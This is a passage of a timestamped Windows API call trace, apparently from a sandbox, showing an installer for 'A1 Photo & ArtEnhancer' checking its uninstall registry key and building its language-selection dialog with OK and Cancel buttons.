[0254.212] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x1a, lParam=0x1a) returned 0x1 [0254.212] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x1a, lParam=0x1a) returned 0x1 [0254.212] SendMessageA (hWnd=0x90168, Msg=0x146, wParam=0x0, lParam=0x0) returned 0x1b [0254.212] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x146, wParam=0x0, lParam=0x0) returned 0x1b [0254.212] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x146, wParam=0x0, lParam=0x0) returned 0x1b [0254.213] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\A1 Photo & ArtEnhancer_is1", ulOptions=0x0, samDesired=0x101, phkResult=0x18fe28 | out: phkResult=0x18fe28*=0x0) returned 0x2 [0254.214] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\A1 Photo & ArtEnhancer_is1", ulOptions=0x0, samDesired=0x101, phkResult=0x18fe28 | out: phkResult=0x18fe28*=0x0) returned 0x2 [0254.215] SendMessageA (hWnd=0x90168, Msg=0x147, wParam=0x0, lParam=0x0) returned 0xffffffff [0254.215] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x147, wParam=0x0, lParam=0x0) returned 0xffffffff [0254.215] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x147, wParam=0x0, lParam=0x0) returned 0xffffffff [0254.215] SendMessageA (hWnd=0x90168, Msg=0x146, wParam=0x0, lParam=0x0) returned 0x1b [0254.215] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x146, wParam=0x0, lParam=0x0) returned 0x1b [0254.215] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x146, wParam=0x0, lParam=0x0) returned 0x1b [0254.215] SendMessageA (hWnd=0x90168, Msg=0x150, wParam=0x0, lParam=0x0) returned 0x1 [0254.215] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x150, wParam=0x0, lParam=0x0) returned 0x1 [0254.215] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x150, wParam=0x0, lParam=0x0) returned 0x1 [0254.215] SendMessageA (hWnd=0x90168, Msg=0x150, wParam=0x1, lParam=0x0) returned 0x3 [0254.215] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x150, wParam=0x1, lParam=0x0) returned 0x3 [0254.215] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x150, wParam=0x1, lParam=0x0) returned 0x3 [0254.215] SendMessageA (hWnd=0x90168, Msg=0x150, wParam=0x2, lParam=0x0) returned 0x5 [0254.215] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x150, wParam=0x2, lParam=0x0) returned 0x5 [0254.215] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x150, wParam=0x2, lParam=0x0) returned 0x5 [0254.215] SendMessageA (hWnd=0x90168, Msg=0x150, wParam=0x3, lParam=0x0) returned 0x4 [0254.215] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x150, wParam=0x3, lParam=0x0) returned 0x4 [0254.215] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x150, wParam=0x3, lParam=0x0) returned 0x4 [0254.216] SendMessageA (hWnd=0x90168, Msg=0x150, wParam=0x4, lParam=0x0) returned 0x6 [0254.216] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x150, wParam=0x4, lParam=0x0) returned 0x6 [0254.216] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x150, wParam=0x4, lParam=0x0) returned 0x6 [0254.216] SendMessageA (hWnd=0x90168, Msg=0x150, wParam=0x5, lParam=0x0) returned 0xc [0254.216] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x150, wParam=0x5, lParam=0x0) returned 0xc [0254.216] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x150, wParam=0x5, lParam=0x0) returned 0xc [0254.216] SendMessageA (hWnd=0x90168, Msg=0x150, wParam=0x6, lParam=0x0) returned 0x0 [0254.216] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x150, wParam=0x6, lParam=0x0) returned 0x0 [0254.216] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x150, wParam=0x6, lParam=0x0) returned 0x0 [0254.216] SendMessageA (hWnd=0x90168, Msg=0x14e, wParam=0x6, lParam=0x0) returned 0x6 [0254.216] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x14e, wParam=0x6, lParam=0x0) returned 0x6 [0254.216] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x14e, wParam=0x6, lParam=0x0) returned 0x6 [0254.216] SendMessageA (hWnd=0x90168, Msg=0x146, wParam=0x0, lParam=0x0) returned 0x1b [0254.216] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x146, wParam=0x0, lParam=0x0) returned 0x1b [0254.216] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x146, wParam=0x0, lParam=0x0) returned 0x1b [0254.217] GetCapture () returned 0x0 [0254.217] ReleaseCapture () returned 1 [0254.217] GetActiveWindow () returned 0x2024a [0254.217] GetCurrentThreadId () returned 0x8cc [0254.217] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0254.217] IsWindowVisible (hWnd=0x70042) returned 0 [0254.217] IsWindowVisible (hWnd=0x20338) returned 0 [0254.217] IsWindowVisible (hWnd=0x2024a) returned 1 [0254.217] IsWindowEnabled (hWnd=0x2024a) returned 1 [0254.217] EnableWindow (hWnd=0x2024a, bEnable=0) returned 0 [0254.217] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0254.217] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0254.217] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0254.218] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0254.218] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0254.218] GetCurrentThreadId () returned 0x8cc [0254.218] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0254.218] IsWindowVisible (hWnd=0x70042) returned 0 [0254.218] IsWindowVisible (hWnd=0x20338) returned 0 [0254.218] IsWindowVisible (hWnd=0x70044) returned 0 [0254.218] IsWindowVisible (hWnd=0x50048) returned 0 [0254.218] EnumWindows (lpEnumFunc=0x423eac, lParam=0x18fba4) returned 0 [0254.218] GetWindow (hWnd=0x301ac, uCmd=0x4) returned 0x301aa [0254.218] GetWindow (hWnd=0x200f2, uCmd=0x4) returned 0x0 [0254.219] GetWindow (hWnd=0x200fa, uCmd=0x4) returned 0x0 [0254.219] GetWindow (hWnd=0x20104, uCmd=0x4) returned 0x0 [0254.219] GetWindow (hWnd=0x101e0, uCmd=0x4) returned 0x0 [0254.219] GetWindow (hWnd=0x100a4, uCmd=0x4) returned 0x1007c [0254.219] GetWindow (hWnd=0x100a2, uCmd=0x4) returned 0x1007c [0254.219] GetWindow (hWnd=0x1008c, uCmd=0x4) returned 0x1007c [0254.219] GetWindow (hWnd=0x100b8, uCmd=0x4) returned 0x1007c [0254.219] GetWindow (hWnd=0x100ac, uCmd=0x4) returned 0x1007c [0254.219] GetWindow (hWnd=0x100aa, uCmd=0x4) returned 0x1007c [0254.219] GetWindow (hWnd=0x100a6, uCmd=0x4) returned 0x1007c [0254.219] GetWindow (hWnd=0x10084, uCmd=0x4) returned 0x1007c [0254.219] GetWindow (hWnd=0x1007c, uCmd=0x4) returned 0x0 [0254.219] GetWindow (hWnd=0x101b4, uCmd=0x4) returned 0x201b2 [0254.219] GetWindow (hWnd=0x10118, uCmd=0x4) returned 0x0 [0254.219] GetWindow (hWnd=0x500c2, uCmd=0x4) returned 0x0 [0254.219] GetWindow (hWnd=0x100ba, uCmd=0x4) returned 0x0 [0254.219] GetWindow (hWnd=0x10306, uCmd=0x4) returned 0x0 [0254.220] GetWindow (hWnd=0x70042, uCmd=0x4) returned 0x2024a [0254.220] GetWindowLongA (hWnd=0x70042, nIndex=-20) returned 257 [0254.220] IsWindowVisible (hWnd=0x70044) returned 0 [0254.220] IsWindowVisible (hWnd=0x50048) returned 0 [0254.220] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0254.220] GetClassInfoA (in: hInstance=0x400000, lpClassName="BUTTON", lpWndClass=0x18fc88 | out: lpWndClass=0x18fc88) returned 1 [0254.220] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewButton", lpWndClass=0x18fcf0 | out: lpWndClass=0x18fcf0) returned 0 [0254.221] RegisterClassA (lpWndClass=0x18fc88) returned 0x4ec1d5 [0254.221] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewButton", lpWindowName="Cancel", dwStyle=0x44010000, X=214, Y=93, nWidth=75, nHeight=23, hWndParent=0x70042, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0xa0060 [0254.221] SetWindowLongA (hWnd=0xa0060, nIndex=-4, dwNewLong=2297800) returned 4274892 [0254.221] GetWindowLongA (hWnd=0xa0060, nIndex=-16) returned 1140916224 [0254.221] GetWindowLongA (hWnd=0xa0060, nIndex=-12) returned 0 [0254.221] SetWindowLongA (hWnd=0xa0060, nIndex=-12, dwNewLong=655456) returned 0 [0254.221] SetPropA (hWnd=0xa0060, lpString=0xc167, hData=0x390470) returned 1 [0254.221] SetPropA (hWnd=0xa0060, lpString=0xc168, hData=0x390470) returned 1 [0254.221] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x81, wParam=0x0, lParam=0x18f848) returned 0x1 [0254.222] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x83, wParam=0x0, lParam=0x18f834) returned 0x0 [0254.222] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x1, wParam=0x0, lParam=0x18f848) returned 0x0 [0254.222] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x55, wParam=0xa0060, lParam=0x3) returned 0x1 [0254.222] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0254.223] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0254.223] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0254.223] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0254.223] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0254.223] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0254.223] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0254.223] IsIconic (hWnd=0xa0060) returned 0 [0254.223] GetWindowRect (in: hWnd=0xa0060, lpRect=0x18f63c | out: lpRect=0x18f63c) returned 1 [0254.223] GetWindowLongA (hWnd=0xa0060, nIndex=-16) returned 1140916224 [0254.223] GetWindowLongA (hWnd=0xa0060, nIndex=-8) returned 458818 [0254.223] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f63c | out: lpPoint=0x18f63c) returned 1 [0254.223] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f644 | out: lpPoint=0x18f644) returned 1 [0254.223] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x5, wParam=0x0, lParam=0x17004b) returned 0x0 [0254.223] GetClientRect (in: hWnd=0xa0060, lpRect=0x18f668 | out: lpRect=0x18f668) returned 1 [0254.224] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x3, wParam=0x0, lParam=0x5d00d6) returned 0x0 [0254.224] IsIconic (hWnd=0xa0060) returned 0 [0254.224] GetWindowRect (in: hWnd=0xa0060, lpRect=0x18f640 | out: lpRect=0x18f640) returned 1 [0254.224] GetWindowLongA (hWnd=0xa0060, nIndex=-16) returned 1140916224 [0254.224] GetWindowLongA (hWnd=0xa0060, nIndex=-8) returned 458818 [0254.224] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f640 | out: lpPoint=0x18f640) returned 1 [0254.224] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f648 | out: lpPoint=0x18f648) returned 1 [0254.224] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f658 | out: lpdwProcessId=0x18f658) returned 0x8cc [0254.224] GetCurrentProcessId () returned 0x8d0 [0254.224] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0254.224] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbe10, wParam=0x600001, lParam=0xa0060) returned 0x0 [0254.224] IsIconic (hWnd=0xa0060) returned 0 [0254.224] GetWindowRect (in: hWnd=0xa0060, lpRect=0x18fc18 | out: lpRect=0x18fc18) returned 1 [0254.224] GetWindowLongA (hWnd=0xa0060, nIndex=-16) returned 1140916224 [0254.224] GetWindowLongA (hWnd=0xa0060, nIndex=-8) returned 458818 [0254.224] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fc18 | out: lpPoint=0x18fc18) returned 1 [0254.224] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fc20 | out: lpPoint=0x18fc20) returned 1 [0254.224] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x30, wParam=0x260a06d8, lParam=0x1) returned 0x0 [0254.224] SetPropA (hWnd=0xa0060, lpString=0xc167, hData=0x390470) returned 1 [0254.224] SetPropA (hWnd=0xa0060, lpString=0xc168, hData=0x390470) returned 1 [0254.224] SetWindowPos (hWnd=0xa0060, hWndInsertAfter=0x90168, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0254.224] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x46, wParam=0x0, lParam=0x18fce4) returned 0x0 [0254.225] SetWindowPos (hWnd=0xa0060, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0254.225] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x46, wParam=0x0, lParam=0x18fc88) returned 0x0 [0254.225] IsIconic (hWnd=0xa0060) returned 0 [0254.225] GetWindowRect (in: hWnd=0xa0060, lpRect=0x18fa48 | out: lpRect=0x18fa48) returned 1 [0254.225] GetWindowLongA (hWnd=0xa0060, nIndex=-16) returned 1409351680 [0254.225] GetWindowLongA (hWnd=0xa0060, nIndex=-8) returned 458818 [0254.225] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fa48 | out: lpPoint=0x18fa48) returned 1 [0254.225] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fa50 | out: lpPoint=0x18fa50) returned 1 [0254.225] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x47, wParam=0x0, lParam=0x18fc88) returned 0x0 [0254.226] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0254.226] GetClassInfoA (in: hInstance=0x400000, lpClassName="BUTTON", lpWndClass=0x18fc88 | out: lpWndClass=0x18fc88) returned 1 [0254.226] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewButton", lpWndClass=0x18fcf0 | out: lpWndClass=0x18fcf0) returned 1 [0254.226] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewButton", lpWindowName="OK", dwStyle=0x44010001, X=133, Y=93, nWidth=75, nHeight=23, hWndParent=0x70042, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x40050 [0254.226] SetWindowLongA (hWnd=0x40050, nIndex=-4, dwNewLong=2297787) returned 4274892 [0254.226] GetWindowLongA (hWnd=0x40050, nIndex=-16) returned 1140916225 [0254.226] GetWindowLongA (hWnd=0x40050, nIndex=-12) returned 0 [0254.226] SetWindowLongA (hWnd=0x40050, nIndex=-12, dwNewLong=262224) returned 0 [0254.226] SetPropA (hWnd=0x40050, lpString=0xc167, hData=0x39073c) returned 1 [0254.226] SetPropA (hWnd=0x40050, lpString=0xc168, hData=0x39073c) returned 1 [0254.226] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x81, wParam=0x0, lParam=0x18f848) returned 0x1 [0254.227] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x83, wParam=0x0, lParam=0x18f834) returned 0x0 [0254.227] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x1, wParam=0x0, lParam=0x18f848) returned 0x0 [0254.227] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x55, wParam=0x40050, lParam=0x3) returned 0x1 [0254.227] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0254.227] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0254.227] IsIconic (hWnd=0x40050) returned 0 [0254.227] GetWindowRect (in: hWnd=0x40050, lpRect=0x18f63c | out: lpRect=0x18f63c) returned 1 [0254.228] GetWindowLongA (hWnd=0x40050, nIndex=-16) returned 1140916225 [0254.228] GetWindowLongA (hWnd=0x40050, nIndex=-8) returned 458818 [0254.228] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f63c | out: lpPoint=0x18f63c) returned 1 [0254.228] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f644 | out: lpPoint=0x18f644) returned 1 [0254.228] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x5, wParam=0x0, lParam=0x17004b) returned 0x0 [0254.228] GetClientRect (in: hWnd=0x40050, lpRect=0x18f668 | out: lpRect=0x18f668) returned 1 [0254.228] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x3, wParam=0x0, lParam=0x5d0085) returned 0x0 [0254.228] IsIconic (hWnd=0x40050) returned 0 [0254.228] GetWindowRect (in: hWnd=0x40050, lpRect=0x18f640 | out: lpRect=0x18f640) returned 1 [0254.228] GetWindowLongA (hWnd=0x40050, nIndex=-16) returned 1140916225 [0254.228] GetWindowLongA (hWnd=0x40050, nIndex=-8) returned 458818 [0254.228] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f640 | out: lpPoint=0x18f640) returned 1 [0254.228] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f648 | out: lpPoint=0x18f648) returned 1 [0254.228] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f658 | out: lpdwProcessId=0x18f658) returned 0x8cc [0254.228] GetCurrentProcessId () returned 0x8d0 [0254.228] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0254.228] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbe10, wParam=0x500001, lParam=0x40050) returned 0x0 [0254.228] IsIconic (hWnd=0x40050) returned 0 [0254.228] GetWindowRect (in: hWnd=0x40050, lpRect=0x18fc18 | out: lpRect=0x18fc18) returned 1 [0254.228] GetWindowLongA (hWnd=0x40050, nIndex=-16) returned 1140916225 [0254.228] GetWindowLongA (hWnd=0x40050, nIndex=-8) returned 458818 [0254.228] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fc18 | out: lpPoint=0x18fc18) returned 1 [0254.228] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fc20 | out: lpPoint=0x18fc20) returned 1 [0254.228] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x30, wParam=0x260a06d8, lParam=0x1) returned 0x0 [0254.228] SetPropA (hWnd=0x40050, lpString=0xc167, hData=0x39073c) returned 1 [0254.228] SetPropA (hWnd=0x40050, lpString=0xc168, hData=0x39073c) returned 1 [0254.229] SetWindowPos (hWnd=0x40050, hWndInsertAfter=0x90168, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0254.229] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x46, wParam=0x0, lParam=0x18fce4) returned 0x0 [0254.229] IsIconic (hWnd=0x40050) returned 0 [0254.229] GetWindowRect (in: hWnd=0x40050, lpRect=0x18faa4 | out: lpRect=0x18faa4) returned 1 [0254.229] GetWindowLongA (hWnd=0x40050, nIndex=-16) returned 1140916225 [0254.229] GetWindowLongA (hWnd=0x40050, nIndex=-8) returned 458818 [0254.229] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18faa4 | out: lpPoint=0x18faa4) returned 1 [0254.229] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18faac | out: lpPoint=0x18faac) returned 1 [0254.229] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x47, wParam=0x0, lParam=0x18fce4) returned 0x0 [0254.229] SetWindowPos (hWnd=0x40050, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0254.230] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x46, wParam=0x0, lParam=0x18fc88) returned 0x0 [0254.230] IsIconic (hWnd=0x40050) returned 0 [0254.230] GetWindowRect (in: hWnd=0x40050, lpRect=0x18fa48 | out: lpRect=0x18fa48) returned 1 [0254.230] GetWindowLongA (hWnd=0x40050, nIndex=-16) returned 1409351681 [0254.230] GetWindowLongA (hWnd=0x40050, nIndex=-8) returned 458818 [0254.230] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fa48 | out: lpPoint=0x18fa48) returned 1 [0254.230] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fa50 | out: lpPoint=0x18fa50) returned 1 [0254.230] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x47, wParam=0x0, lParam=0x18fc88) returned 0x0 [0254.230] SetWindowPos (hWnd=0x90168, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0254.230] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x46, wParam=0x0, lParam=0x18fc84) returned 0x1 [0254.230] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x46, wParam=0x0, lParam=0x18fc84) returned 0x1 [0254.231] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x47, wParam=0x0, lParam=0x18fc84) returned 0x0 [0254.231] IsIconic (hWnd=0x90168) returned 0 [0254.231] GetWindowRect (in: hWnd=0x90168, lpRect=0x18f920 | out: lpRect=0x18f920) returned 1 [0254.231] GetWindowLongA (hWnd=0x90168, nIndex=-16) returned 1409352515 [0254.231] GetWindowLongA (hWnd=0x90168, nIndex=-8) returned 458818 [0254.231] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f920 | out: lpPoint=0x18f920) returned 1 [0254.231] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f928 | out: lpPoint=0x18f928) returned 1 [0254.231] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x47, wParam=0x0, lParam=0x18fc84) returned 0x0 [0254.231] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0254.231] GetClassInfoA (in: hInstance=0x400000, lpClassName="STATIC", lpWndClass=0x18fc90 | out: lpWndClass=0x18fc90) returned 1 [0254.232] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewStaticText", lpWndClass=0x18fcf8 | out: lpWndClass=0x18fcf8) returned 0 [0254.232] RegisterClassA (lpWndClass=0x18fc90) returned 0x39c1d6 [0254.232] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewStaticText", lpWindowName="Select the language to use during the installation:", dwStyle=0x44000100, X=56, Y=8, nWidth=233, nHeight=39, hWndParent=0x70042, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x7024e [0254.232] SetWindowLongA (hWnd=0x7024e, nIndex=-4, dwNewLong=2297735) returned 4274892 [0254.232] GetWindowLongA (hWnd=0x7024e, nIndex=-16) returned 1140850944 [0254.232] GetWindowLongA (hWnd=0x7024e, nIndex=-12) returned 0 [0254.232] SetWindowLongA (hWnd=0x7024e, nIndex=-12, dwNewLong=459342) returned 0 [0254.233] SetPropA (hWnd=0x7024e, lpString=0xc167, hData=0x390d80) returned 1 [0254.233] SetPropA (hWnd=0x7024e, lpString=0xc168, hData=0x390d80) returned 1 [0254.233] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x81, wParam=0x0, lParam=0x18f850) returned 0x1 [0254.233] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x83, wParam=0x0, lParam=0x18f83c) returned 0x0 [0254.244] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x1, wParam=0x0, lParam=0x18f850) returned 0x0 [0254.244] IsIconic (hWnd=0x7024e) returned 0 [0254.244] GetWindowRect (in: hWnd=0x7024e, lpRect=0x18f650 | out: lpRect=0x18f650) returned 1 [0254.244] GetWindowLongA (hWnd=0x7024e, nIndex=-16) returned 1140850944 [0254.244] GetWindowLongA (hWnd=0x7024e, nIndex=-8) returned 458818 [0254.244] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f650 | out: lpPoint=0x18f650) returned 1 [0254.244] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f658 | out: lpPoint=0x18f658) returned 1 [0254.244] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x5, wParam=0x0, lParam=0x2700e9) returned 0x0 [0254.244] GetClientRect (in: hWnd=0x7024e, lpRect=0x18f67c | out: lpRect=0x18f67c) returned 1 [0254.245] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x3, wParam=0x0, lParam=0x80038) returned 0x0 [0254.245] IsIconic (hWnd=0x7024e) returned 0 [0254.245] GetWindowRect (in: hWnd=0x7024e, lpRect=0x18f654 | out: lpRect=0x18f654) returned 1 [0254.245] GetWindowLongA (hWnd=0x7024e, nIndex=-16) returned 1140850944 [0254.245] GetWindowLongA (hWnd=0x7024e, nIndex=-8) returned 458818 [0254.245] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f654 | out: lpPoint=0x18f654) returned 1 [0254.245] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f65c | out: lpPoint=0x18f65c) returned 1 [0254.245] GetWindowThreadProcessId (in: hWnd=0x7024e, lpdwProcessId=0x18f660 | out: lpdwProcessId=0x18f660) returned 0x8cc [0254.245] GetCurrentProcessId () returned 0x8d0 [0254.245] GetPropA (hWnd=0x7024e, lpString=0xc167) returned 0x390d80 [0254.245] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0xbe10, wParam=0x24e0001, lParam=0x7024e) returned 0x0 [0254.245] IsIconic (hWnd=0x7024e) returned 0 [0254.245] GetWindowRect (in: hWnd=0x7024e, lpRect=0x18fc20 | out: lpRect=0x18fc20) returned 1 [0254.245] GetWindowLongA (hWnd=0x7024e, nIndex=-16) returned 1140850944 [0254.245] GetWindowLongA (hWnd=0x7024e, nIndex=-8) returned 458818 [0254.245] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fc20 | out: lpPoint=0x18fc20) returned 1 [0254.245] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fc28 | out: lpPoint=0x18fc28) returned 1 [0254.245] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x30, wParam=0x260a06d8, lParam=0x1) returned 0x0 [0254.245] SetPropA (hWnd=0x7024e, lpString=0xc167, hData=0x390d80) returned 1 [0254.245] SetPropA (hWnd=0x7024e, lpString=0xc168, hData=0x390d80) returned 1 [0254.246] SetWindowPos (hWnd=0x7024e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0254.246] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x46, wParam=0x0, lParam=0x18fce4) returned 0x0 [0254.246] IsIconic (hWnd=0x7024e) returned 0 [0254.246] GetWindowRect (in: hWnd=0x7024e, lpRect=0x18fab0 | out: lpRect=0x18fab0) returned 1 [0254.246] 